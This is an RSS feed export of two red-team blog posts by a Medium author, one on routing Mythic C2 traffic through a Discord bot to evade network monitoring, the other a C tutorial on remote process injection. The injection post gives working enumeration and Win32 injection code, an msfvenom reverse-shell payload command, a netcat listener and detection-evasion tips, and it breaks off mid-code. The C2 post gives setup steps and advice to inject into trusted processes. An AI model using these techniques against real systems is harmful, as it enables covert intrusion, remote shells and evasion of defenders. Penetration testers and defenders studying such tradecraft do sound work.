<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Lsec on Medium]]></title>
        <description><![CDATA[Stories by Lsec on Medium]]></description>
        <link>https://medium.com/@lsecqt?source=rss-35323664a4f9------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*7ALVCuMxlnJ8kYxCaK2JKQ.png</url>
            <title>Stories by Lsec on Medium</title>
            <link>https://medium.com/@lsecqt?source=rss-35323664a4f9------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 06 Jun 2026 04:15:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@lsecqt/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[Utilizing Discord as C2 Traffic Broker]]></title>
            <link>https://medium.com/@lsecqt/utilizing-discord-as-c2-traffic-broker-b6a4d2f93bb3?source=rss-35323664a4f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/b6a4d2f93bb3</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Lsec]]></dc:creator>
            <pubDate>Tue, 30 Apr 2024 15:41:45 GMT</pubDate>
            <atom:updated>2024-04-30T15:41:45.840Z</atom:updated>
            <content:encoded><![CDATA[<h3>Introduction</h3><p>In the realm of cybersecurity, the landscape is constantly evolving, with threat actors devising new methods to infiltrate systems and compromise data. One such method I recently decided to test is the use of Discord bots for Command and Control (C2) traffic brokerage. Discord, originally a platform for gamers to communicate, has emerged as an unexpected but powerful tool for covert communications and control.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lmM8wP4E-wUA4F1CdgtIyQ.png" /></figure><h3>Understanding Command and Control (C2)</h3><p>Before delving into the world of Discord bots, it’s essential to grasp the concept of Command and Control (C2) in cybersecurity. C2 refers to the communication channels and infrastructure used by threat actors / penetration testers or red team operators to control compromised systems. Traditionally, C2 infrastructures involved complex setups and dedicated servers, making them unique in both UI and functionalities. There are many, and I really mean, MANY C2 frameworks out there, both open sourced and commercialized.</p><blockquote>For more info, you can take a look at the C2 Matrix Spreadsheet(<a href="https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit">https://docs.google.com/spreadsheets/d/1b4mUxa6cDQuTV2BPC6aA-GR4zGZi0ooPYtBe4IgPsSc/edit</a>).</blockquote><p>One of my favorite Open Sourced C2 Framework is Mythic C2 (<a href="https://github.com/its-a-feature/Mythic">https://github.com/its-a-feature/Mythic</a>), mainly because of its infrastructure, design, and flexibility.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LJtuyleFq8cG_IstqoAyMQ.png" /><figcaption>Mythic C2 Infrastructure</figcaption></figure><p>Mythic has its own ecosystem, it is heavily dockerized which has its prons and cons, but also, it allows everyone with coding skills to implement their own agents or C2 profiles. Agents are the implants themselves, while the C2 profiles, is how these implant may communicate with the main Mythic C2 server. While there are many C2 agents(<a href="https://github.com/MythicAgents">https://github.com/MythicAgents</a>), one of my favorites is the Athena(<a href="https://github.com/MythicAgents/Athena">https://github.com/MythicAgents/Athena</a>).</p><p>This agent is build on .net Core, and I was already fascinated of what it can do. Me and Athena’s creator (<a href="http://twitter.com/checkymander">@checkymander</a>) did a livestream some time ago, so if you want to learn more on how Athena actually works, feel welcomed to my Youtube Channel:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F44HxphmzTPI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D44HxphmzTPI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F44HxphmzTPI%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/85ca8d8c2e445e4485ef23963b7d3676/href">https://medium.com/media/85ca8d8c2e445e4485ef23963b7d3676/href</a></iframe><blockquote>If you appreciate my work, you can support me on <a href="https://www.patreon.com/Lsecqt"><em>Patreon</em></a> and get access to my private packer — ShadowBurn.</blockquote><p>In the last years, the C2 frameworks are aiming to be as creative as possible, this include everything from initial payload execution, to communication method for better evasion. Most C2 frameworks nowadays are utilizing HTTPS protocol for this case. This is generally a good option because of:</p><p>* Outbound HTTPS is allowed in most of the cases.<br>* Traffic is encrypted.<br>* Easy to customize the server side to look legit, like a normal web server.</p><p>Even though HTTPS is great, it has its down sides when it comes to offensive campaigns. For instance, the outgoing HTTPS traffic is often downgraded and decrypted inside the local company firewall. The decrpted traffic is logged and analyzed, then re-crypted and forwarded. This action allows the blue team to analyze what is going on if specific alerts are risen. The decrypted logs are stored so it is easier to find incident traces. When this is combined with good endpoint protection, it can become extremely frustrating for the attacker.</p><blockquote>Keep in mind that C2 communication can be caught on many places, such as the network level. While endpoint protection is extremely important, it is not the only problem to bypass!</blockquote><p>In this blog we will NOT pay any attention to the endpoint protections, but on the network side of things. C2 frameworks like Mythic and its Athena agent, has the ability to communicate over HTTPS, but not only! They can be utilized into communicating over various third parties or *trusted* channels, like Discord(<a href="https://github.com/MythicC2Profiles/discord">https://github.com/MythicC2Profiles/discord</a>) and Slack(<a href="https://github.com/MythicC2Profiles/slack">https://github.com/MythicC2Profiles/slack</a>). This enhances the evasiveness over the network, mainly because of the C2 traffic is now more likely to just blend into the normal traffic of the compromised machine, especially if it has discord running on its system. If there are restrictions about what programs can or cannot be installed, Discord can be also used from any web browser, which makes this C2 profile extremely applicable for many environments.</p><h3>Setting up the infrastructure</h3><h4>Creating Discord Bot</h4><p>I already created a YouTube video with guide on how to setup the infrastructure, so if you prefer watching a video instead of reading, feel welcomed:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FYluiBE_E4ts%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DYluiBE_E4ts&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FYluiBE_E4ts%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/29f912790448383c82315252faf615d0/href">https://medium.com/media/29f912790448383c82315252faf615d0/href</a></iframe><p>The first thing we need to understand is how much development-friendly Discord is. While you cannot read or write to the Discord source code directly, you can create the so called bots. These bots can be created on multiple languages, and there are even dedicated libraries for this case, for example Discord.py(<a href="https://discordpy.readthedocs.io/en/stable/">https://discordpy.readthedocs.io/en/stable/</a>).</p><p>The bots can be implemented for multiple different purposes, including:<br>- Server management<br>- Chat moderation<br>- Automatic announcements<br>- Role management and more</p><p>Here, one of the very simplest functionality a bot can have, is to read and send messages. This is all what the C2 profile is about. Keep in mind that the bots are powerful, with proper permissions, they can be utilized for a lot of things.</p><p>Obviously the first thing is to create a bot with proper permissions and add it to any demo server.</p><blockquote>Some settings like the bot name, server name and server members does not matter, do not think about them at all. It is even not required for the compromised, nor attacking machine to have discord installed on its system.</blockquote><p>Servers can be created super simple, by following the big + icon on bot left -&gt; Create my Own -&gt; For me and my friends -&gt; Give it a fancy name and click Create.</p><p>This will create the dedicated server, now time to add some bots!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SsBdMmV9ax-lxKF0ivRbPw.png" /><figcaption>Empty server created</figcaption></figure><p>In order to create and add a bot, you need to first navigate to the Discord Developer Portal(<a href="https://discord.com/developers/applications">https://discord.com/developers/applications</a>). There, click New Application on the top right corner and give it some random name.</p><p>If everything went smooth, after clicking on the newly created application, you should see its settings like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_RohaiXCAdkk50jV4GsOAw.png" /><figcaption>Bot settings menu</figcaption></figure><p>From there, you need to go for the Bot menu -&gt; Reset Token button. This will print the bot token, save it for later! Additionally, as mentioned before, the bot need to be able to read / write messages. In order to allow the application to do so, scroll down and toggle *MESSAGE CONTENT INTENT* intents:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hsJUX6xIb_mx0CEF7-6gbg.png" /><figcaption>Message permissions enabled</figcaption></figure><p>Now that our bot has the intent for sending messages, it is time to invite it to the server. To do so:</p><p>1. Go to OAuth2 Menu from the left.<br>2. On the OAuth2 URL Generator check Bot option<br>3. Check Send Messages, Send Messages in Threads, Read Message History, Read Messages / View Channels and Manage Messages.</p><p>It should look something like that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CaM1moK6agigfecSwNupDQ.png" /><figcaption>Bot permissions settings</figcaption></figure><p>If you pay close attention to the very bottom of the previous screenshot, you will see a URL. By simply copying and pasting it into a browser from where you were already logged into your Discord account, you will be able to invite the bot to your server. When you authorize the request, the bot should be present in your server but offline.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/175/1*XoEjlByVbssVCrNvD532fg.png" /><figcaption>Bot is offline in server</figcaption></figure><h4>Setting up the Mythic C2</h4><p>I have already created a YT video on how to install and operate with Mythic C2, if you are new to this framework, I highly recommend to watch it first, before continuing with this blogpost:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FQmC1zhpTxww%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DQmC1zhpTxww&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FQmC1zhpTxww%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/455892c1b3c14624b6f2fcd2e16c3b91/href">https://medium.com/media/455892c1b3c14624b6f2fcd2e16c3b91/href</a></iframe><p>In a nutshell, after you install the Mythic C2 itself, we would need only 2 things:<br>* Athena agent<br>* Discord C2 profile</p><p>Luckily, the Mythic C2 has amazing feature installation procedure, all you have to do is just run (as root and from the cloned Mythic C2 directory) `./mythic_cli install github &lt;URL&gt;`, which in that case would be:</p><pre># INSTALLING ATHENA<br>./mythic_cli install github https://github.com/MythicAgents/Athena<br><br># INSTALLING DISCORD<br>./mythic_cli install discord https://github.com/MythicC2Profiles/discord</pre><p>After these two are finished, upon logging in to your Mythic C2 instance, you should see something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kFWCHFZlITAqgPlcA9RIOg.png" /><figcaption>Containers online</figcaption></figure><p>Now it is time to generate a payload, this is done by simply clicking on the payloads tab -&gt; ACTIONS -&gt; Generate New Payload. Here we obviously need to select Windows platform and Athena agent. I will leave all settings to their defaults and skip to the C2 profile tab. There, the only two things that we will need to modify, are the *A Bot Token for sending messages* and *The channel ID for the messages*.</p><p>The bot token is the one you obtained during the bot creation phase, and the channel ID can be obtained after right clicking on any text channel in your newly discord server -&gt; copy channel ID:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/295/1*qgFI6mxuPJ3Z10f8dxcMag.png" /><figcaption>Channel menu</figcaption></figure><p>After setting the C2 profile settings, you can click the *NEXT* and the *CREATE PAYLOAD* button to generate and compile your Athena beacon.</p><blockquote>The compilation phase is huge and time consuming based on your hardware. Be patient and ensure that you have more than 4GB of RAM.</blockquote><p>Now after the payload is generated, there is no need for the client or the server to have Discord installed or to operate with it via web browser. The bot is doing that automatically!</p><h3>Demo</h3><p>After we transfer and execute the beacon from a Windows machine, we can observe that the previously offline-sitting bot is now online!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*Ump19Byz4roc-C46w0qGMQ.png" /><figcaption>Mythic bot now online</figcaption></figure><p>With that, after going back to the Mythic C2 server, we can observe that there is a callback appearing just the same as if we were using HTTP/S.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qaVyIcHV3L7NV-x-iXnmFA.png" /><figcaption>Callback from Athena using Discord</figcaption></figure><p>The Discord profile is using a websocket communication, which is intended to be extremely fast. Indeed the commands are issued instantaneously, and are working just the same as they would if HTTP C2 profile was used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/886/1*2847zKHeZkcsy7vtbGfbqg.png" /><figcaption>Executing Athena commands</figcaption></figure><p>The current Discord profile is automatically deleting all transmitted messages, so there are no traces on the server itself. After running various commands, the server is still empty.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QGf9IzS6qYhKF6l88K3cjw.png" /><figcaption>Empty Discord server</figcaption></figure><p>I asked the developer to include verbose options, such as one for saving all the messages into the Discord server itself. He liked the idea so definitely we will get an update on that. Beside that, the C2 profile and the Athena agent were working just great and I am yet to give them a try for longer periods of time.</p><blockquote>Keep in mind that the open sourced world is based on contributions, you do not need to know how to write code, submitting a bug is as helpful.</blockquote><p>During the time of the testing, I had [Portmaster](<a href="https://safing.io/">https://safing.io/</a>) application installed on my compromised Windows machine. Portmaster is software firewall application which lets you observe and control with ease what network connections are going in and out of your PC. Portmaster recognized the Athena.exe process, but the traffic was already allowed by default.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VnGSZZYXHB74-1yV8CYYlw.png" /><figcaption>Athena.exe talking to Discord infrastructure</figcaption></figure><p>Of course a process talking to discord can be suspicious by itself, especially if it is not Discord.exe or any web browser. You may consider injecting into these processes first.</p><h3>Conclusion</h3><p>While Discord bots offer unparalleled convenience and versatility for developers and enthusiasts alike, they also can be utilized for offensive campaigns. Using such trusted channels for communication, I believe it makes the blue teamers job a little harder, since such traffic can more easily just blend into the one from rest of the network. Additionally, Discord has its own valid and trusted certificates, so this condition even saves time and effort into building and configuring local SSL infrastructure.</p><p>Of course, do not get me wrong, I am not saying that it is not possible to get detected on the network level, but it is less likely, especially, if the compromised machine is already using Discord before or during the attack. I really enjoy such innovative methods since they indeed bring up a lot of creativity to the table.</p><p>Once again, shout out to the creators of the Athena and the Discord profiles, you guys rock! Keep up the good work!</p><p>If you enjoy such content and you want to see more of it, you can support me by becoming my <a href="https://www.patreon.com/Lsecqt">Patreon</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b6a4d2f93bb3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Process Injection with C]]></title>
            <link>https://medium.com/@lsecqt/basic-process-injection-with-c-e6d4d2fa3b4a?source=rss-35323664a4f9------2</link>
            <guid isPermaLink="false">https://medium.com/p/e6d4d2fa3b4a</guid>
            <category><![CDATA[c-programming]]></category>
            <category><![CDATA[malware-developmen]]></category>
            <category><![CDATA[maldev]]></category>
            <category><![CDATA[process-injection]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Lsec]]></dc:creator>
            <pubDate>Thu, 25 Apr 2024 21:08:13 GMT</pubDate>
            <atom:updated>2024-04-25T21:08:13.036Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EI2waZc2Ca8udsf5Hzl0QQ.png" /></figure><h3>Introduction</h3><p>Greetings, fellow red teamers and cybersecurity enthusiasts! Today, I’m thrilled to write about one well known but still utilized technique — process injection. This malware development technique is revered by both red team operators and adversaries alike for its potency and versatility. As practitioners of the art of intrusion, we understand the pivotal role that process injection plays in our arsenal of tactics, techniques, and procedures (TTPs).</p><p>I am a huge fan of doing things as custom as possible, this way you can understand in details what is going on under the hood, instead of blindly trusting your tools to not get detected. While process injection / migration is integrated in various C2 frameworks out there, the raw implementation between them may differ, thus, the detection as well.</p><p>Let me be clear, I do not say to not use the utilities from your favorite C2 frameworks, but I believe that the more you know how things work, the more you can get out of them.</p><blockquote>Process Injection is already implemented in my private ShadowBurn packer. By supporting my work on <a href="https://www.patreon.com/Lsecqt"><strong>Patreon</strong></a> you get access to it as well as other hidden gems.</blockquote><h3>Basic Windows Internals</h3><p>When talking about process injection, I will address the Windows environment since most maldev tools and techniques are designed to target Windows OS. I am sure that there can be Linux implementations for process injection, if you know and want to share a cool project, feel free to do it in the [Red Teaming Army Discord server](<a href="https://discord.gg/KYAAKTtau8">https://discord.gg/KYAAKTtau8</a>).</p><p>In order to understand the injection technique, we must first define some basic building blocks for the Windows OS, right?</p><blockquote>I know that many of this things can be well known to a lot of you, so you can use the right pane to navigate throughout this blog-post. Hope you learn something new!</blockquote><h4>Processes</h4><p>At its core, a process can be defined as an instance of a program that is being executed. When you start a program in Windows, the operating system allocates resources such as memory, CPU time, and I/O devices to execute that program. This allocation is done by creating a process for the program. The process contains all the necessary information for the program’s execution, including its code, data, and execution state.</p><p>Processes in Windows operate in a multitasking environment, meaning that multiple processes can run concurrently, sharing the system’s resources efficiently. Generally, they can be categorized into several types based on their characteristics and how they’re created:</p><p>1. User Processes: These are initiated by users and typically include applications such as web browsers, word processors, and media players. User processes run in user mode, which provides a layer of protection and isolation from system-level operations.<br> <br>2. System Processes: System processes, also known as kernel processes, are initiated and managed by the Windows kernel. They perform essential system functions such as memory management, I/O operations, and device drivers. System processes run in kernel mode, allowing them to access system resources directly.<br> <br>3. Service Processes: Services are background processes that run without user intervention, providing various system functionalities such as network communication, printing, and system monitoring. These processes often start automatically when the system boots up and continue running in the background.<br> <br>4. Child Processes: A process can create additional processes known as child processes. These processes inherit certain attributes from their parent process and can perform tasks independently. Child processes are commonly used in multitasking environments to execute parallel tasks or subprocesses.</p><p>A cool program to analyze running processes is Process Hacker 2 (<a href="https://processhacker.sourceforge.io/downloads.php">https://processhacker.sourceforge.io/downloads.php</a>).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*dokVwZGdRXudDt7gp4ABlQ.png" /><figcaption>Running processes with Process Hacker 2</figcaption></figure><h4>Threads</h4><p>A thread can be defined as the smallest unit of execution within a process. Unlike processes, which are independent entities with their own memory space, threads exist within processes and share the same memory space. Threads enable concurrent execution of multiple tasks within a single process, allowing for parallelism and efficient utilization of system resources, such as CPU cores.</p><p>Each thread within a process has its own program counter, stack, and execution state, but they can access shared data and resources within the process. This shared memory model facilitates communication and coordination between threads, enabling them to collaborate on complex tasks.</p><p>Threads can execute independently or cooperatively, depending on the programming paradigm and synchronization mechanisms employed. Concurrent execution of threads can lead to improved performance, responsiveness, and resource utilization, especially in scenarios involving parallelizable tasks, such as multimedia processing, web servers, and scientific simulations.</p><p>Threads can be categorized into two main types based on their association with the operating system or programming language:</p><ol><li>Kernel Threads: Kernel threads are managed and scheduled by the operating system’s kernel. These threads have full support for multitasking and can execute in parallel on multiple CPU cores. Kernel threads provide a low-level abstraction for concurrent execution and are typically used in system-level programming and operating system development.<br> <br>2. User Threads: User threads are implemented and managed at the application level, typically using threading libraries or programming language constructs. Unlike kernel threads, user threads are not directly supported by the operating system and rely on the underlying runtime environment or threading library for scheduling and execution. User threads offer a higher-level abstraction for concurrency and are commonly used in application development, including web servers, database systems, and multimedia applications.</li></ol><p>Again, threads can be analyzed with the same Process Hacker 2 software after choosing a process of your choice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/416/1*YI4-2Tpl9-0QC0grmCL-Aw.png" /><figcaption>Analyzing threads of taskhostw.exe process</figcaption></figure><h3>Anatomy of Process Injection</h3><p>So far it should be around clear on what is process and a thread. In a nutshell, process is the car while the thread is you pushing the gas pedal. The threads are doing the actual work, executing code which resembles into CPU instructions later on. Usually, when we create a simple malware, like the shellcode runner from the previous <a href="https://lsecqt.github.io/Red-Teaming-Army/malware-development/leveraging-the-direct-pointer---a-stealthy-maneuver-in-evasion-tactics/">blogpost</a>, we create a new process, allocate the appropriate memory, write the malicious payload to it in the form of shellcode and then point the current thread into the address of the allocated memory, that is what Direct Pointer (DP) is all about. While this technique is proven to be evasive, it is impossible to perform it over remote process, because we can’t really control the main thread from distance.</p><p>Even though DP is not an option here, we still have plenty of. In a nutshell we need to follow the theory behind shellcode execution, but just apply it for the remote process, which in this case will look something like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YPMXGT4KBAdTGrZto781pg.png" /><figcaption>Remote process injection workflow</figcaption></figure><h4>Step 1 — Enumerate processes and target one</h4><p>We cannot build malware from the victim system (at least its very hard and not effective), so the first step would be to design the malware to automatically search and target specific process, like `explorer.exe`. Usually we are going to need the PID of the process, but since this value is arbitrary, we would need the help of some Win32 APIs.</p><p>In my <a href="https://github.com/lsecqt/OffensiveCpp">Offensive CPP Project</a>, I already stored some process enumeration snippets, let’s modify and use <a href="https://github.com/lsecqt/OffensiveCpp/blob/main/Enumeration/Processes/CreateToolhelp32Snapshot.cpp">one of them</a>.</p><pre>BOOL GetProcessHandle(IN LPWSTR processName, OUT HANDLE hProcess, OUT DWORD* pID)<br>{<br> DWORD pid = 0;<br> HANDLE hP = NULL;<br> HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);<br> if (hSnapshot == INVALID_HANDLE_VALUE)<br> {<br>  printf(&quot;[ERROR] Invalid HANDLE to process snapshots [%d]\n&quot;, GetLastError());<br>  return FALSE;<br> }<br> PROCESSENTRY32 pe;<br> pe.dwSize = sizeof(pe);<br><br> if (!Process32First(hSnapshot, &amp;pe))<br> {<br>  printf(&quot;[ERROR] Could not enumerate processes [%d]\n&quot;, GetLastError());<br>  return FALSE;<br> }<br> <br> do {<br>  if (0 == _wcsicmp(processName, pe.szExeFile))<br>  {<br>   pid = pe.th32ProcessID;<br>   printf(&quot;[!] Trying to open handle on %ls, on pid %d\n&quot;, processName, pid);<br><br>   hP = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, pid);<br>   if (hP == NULL)<br>   {<br>    printf(&quot;[X] Could not open handle on %d, continuing\n&quot;, pid);<br>   }<br>   else<br>   {<br>    printf(&quot;[+] Successfully got handle on %d\n&quot;, pid);<br>    *pID = pid;<br>    hProcess = hP;<br>    return TRUE;<br>   }<br>  }<br> } while (Process32Next(hSnapshot, &amp;pe));<br><br> CloseHandle(hSnapshot);<br>}</pre><p>This snippet utilizes the <a href="https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot">CreateToolhelp32Snapshot</a> API to enumerate all processes, loop through every single one of them until a valid handle is opened. When so, the `TRUE` is returned along with the PID of the process and the valid handle to it.</p><p>Now you may ask:<br>`Why are you utilizing the OpenProcess() API call each time you loop, can’t you just compare by valid PID?`</p><p>I can, but if I target process like `svchost.exe`, the logic breaks. `svchost.exe` is multi-layered process, it may have more than 20+ instances depending on the system. Usually, the first ones are reserved for the `SYSTEM` user or for any of the service users. If that is the case, simply returning the PID does not work for us, because we would not be able to open the process either way. The code snippet above tries to open handle to the process, and return only if a handle is valid. Which means that if the process is multi-layered like `svchost.exe`, it will try to open every instance of this process until it gets a valid handle. I know that this is not the best code but it works!</p><h4>Step 2 — Allocate memory to the remote process</h4><p>Having a valid handle to a process mean that we can now operate with the process itself. This include allocating / writing / reading remote memory, creating remote threads, changing remote memory protections settings and more. In order to keep things simple we will be using Win32 APIs for that.</p><p>Since we now have a valid handle, we need to to allocate remote memory. Usually in Windows, the Win32 APIs that are designed for remote process operations are marked with `Ex`, such as <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex">VirtualAllocEx</a>. This API is relatively easy to use, following its signature is straight forward.</p><pre>LPVOID VirtualAllocEx(<br>  [in]           HANDLE hProcess,<br>  [in, optional] LPVOID lpAddress,<br>  [in]           SIZE_T dwSize,<br>  [in]           DWORD  flAllocationType,<br>  [in]           DWORD  flProtect<br>);</pre><p>The only thing we lack so far is the arbitrary `dwSize` number, this is the size of bytes for our payload to be execute from the remote process. Let’s generate one with `msfvenom`:</p><pre>msfvenom -p windows/x64/shell_reverse_tcp LHOST=eth0 LPORT=9443 -f c</pre><p>Make sure to pay attention to `Payload Size`, in that case it is 460.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QUvsczw7l7x4atxNgHRu_g.png" /><figcaption>Generating C payload with `msfvenom`</figcaption></figure><blockquote>Keep in mind that if the payload is generated from any C2 framework, the chances are that it will be in MegaBytes (MB), it will be easier to stage it instead of embedding it in the dropper itself.</blockquote><p>Since we have the payload now, we can just paste the C output from `msfvenom` into our code, and the call `VirtualAllocEx`:</p><pre>HANDLE pAddr = VirtualAllocEx(hProcess, NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);</pre><p>This will use the `hProcess` handle acquired from the previous function, and allocate 460 (in this case) bytes of memory in the remote process. The memory allocation pages are committed and reserved (pretty much ready for work), and the memory protection is set to read and write only.</p><h4>Step 3 — Writing the payload to the allocated memory</h4><p>Allocating memory is different than writing to it. For instance, after we allocated memory with `VirtualAllocEx` API call, 460 bytes are reserved but empty. Now we need to write our payload inside. Again, calling the Win32 API <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory">WriteProcessMemory</a> should be simple after following its signature:</p><pre>BOOL WriteProcessMemory(<br>  [in]  HANDLE  hProcess,<br>  [in]  LPVOID  lpBaseAddress,<br>  [in]  LPCVOID lpBuffer,<br>  [in]  SIZE_T  nSize,<br>  [out] SIZE_T  *lpNumberOfBytesWritten<br>);</pre><p>Which resolves into:</p><pre>WriteProcessMemory(hProcess, pAddr, buf, sizeof(buf), NULL);</pre><p>This syntax just writes the contents of the `buf` variable inside the address allocated from the previous step. Keep an eye on the size, if you mismatch it your payload will not gonna work.</p><h4>Step 4 — Changing memory protections</h4><p>Now we need to change the memory protection settings from read and write, to read and execute. Without the executive primitives, the written payload to the memory will never be executed. We do this because allocating memory directly with executive primitives is huge IOC and many vendors will catch it right off the bat. While there are many approaches to be more evasive on that, like finding a process with executable memory by default, I want to keep things simple.</p><p>Here we can use the <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualprotectex">VirtualProtectEx</a> Win32 API:</p><pre>BOOL VirtualProtectEx(<br>  [in]  HANDLE hProcess,<br>  [in]  LPVOID lpAddress,<br>  [in]  SIZE_T dwSize,<br>  [in]  DWORD  flNewProtect,<br>  [out] PDWORD lpflOldProtect<br>);</pre><blockquote>It is also recommended to add sleep timeouts before and / or after changing the memory protection settings. This might help with the evasion part.</blockquote><p>Calling this API can sound complex at first, but trust me, it is not. First we need to add a new `DWORD` variable, it will hold the previous protection settings if we need them. The last parameter can also be `NULL`, but it’s better to save your previous settings. Then, invoking the API is as simple as:</p><pre>VirtualProtectEx(hProcess, pAddr, sizeof(buf), PAGE_EXECUTE_READ, &amp;oldProtect);</pre><p>Again, we are modifying the memory protection settings of 460 bytes from the address of the allocated memory (the one from `VirtualAllocEx` call) with execute and read permissions. Keep note that we do not use execute, read and write simultaneously.</p><h4>Step 5 — Executing the payload</h4><p>This is done via creating a new thread. While this is extremely suspicious behavior, I think it is fundamental to know it. If you want to dig deeper, there are more advanced techniques like <a href="https://www.youtube.com/watch?v=z8GIjk0rfbI">Threadless Injection</a> which perform process injection without manually creating new threads. I implemented the Threadless Injection in C language, using Win32 APIs, so if you are interested, take a look: <a href="https://github.com/lsecqt/ThreadlessInject-C">https://github.com/lsecqt/ThreadlessInject-C</a></p><blockquote>Threadless Inject will be soon integrated to my ShadowBurn packer. By supporting my work on <a href="https://www.patreon.com/Lsecqt"><strong>Patreon</strong></a>, you get access to it as well as the ability to request video / blogs on demand. Appreciate your support there!</blockquote><p>As mentioned before, we cannot simply alter the main thread as we did with Direct Pointer execution. In order to create a new thread, we need <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread">CreateRemoteThread</a> Win32 API.</p><pre>HANDLE CreateRemoteThread(<br>  [in]  HANDLE                 hProcess,<br>  [in]  LPSECURITY_ATTRIBUTES  lpThreadAttributes,<br>  [in]  SIZE_T                 dwStackSize,<br>  [in]  LPTHREAD_START_ROUTINE lpStartAddress,<br>  [in]  LPVOID                 lpParameter,<br>  [in]  DWORD                  dwCreationFlags,<br>  [out] LPDWORD                lpThreadId<br>);</pre><p>Do not be overwhelmed by the high count of parameters, the calling implementation is as simple as:</p><pre>CreateRemoteThread(hProcess, NULL, sizeof(buf), pAddr, NULL, NULL, NULL);</pre><p>Here, most of the parameters are `NULL`, because the Windows OS automatically handles them. Additionally, we do not need any parameters for the written payload, the only thing we really need is the handle to the process, the size and the address again.</p><h4>Step 6 — Assembling the pieces</h4><p>Before doing anything, make sure to start your listener with:</p><pre>nc -nvlp 9443ba</pre><p>After combining the pieces, the code looks something like this:</p><pre>#include &lt;Windows.h&gt;<br>#include &lt;tlhelp32.h&gt;<br>#include &lt;stdio.h&gt;<br><br>DWORD GetProcessHandle(IN LPWSTR processName, OUT HANDLE hProcess, OUT DWORD* pID);<br><br>unsigned char buf[] 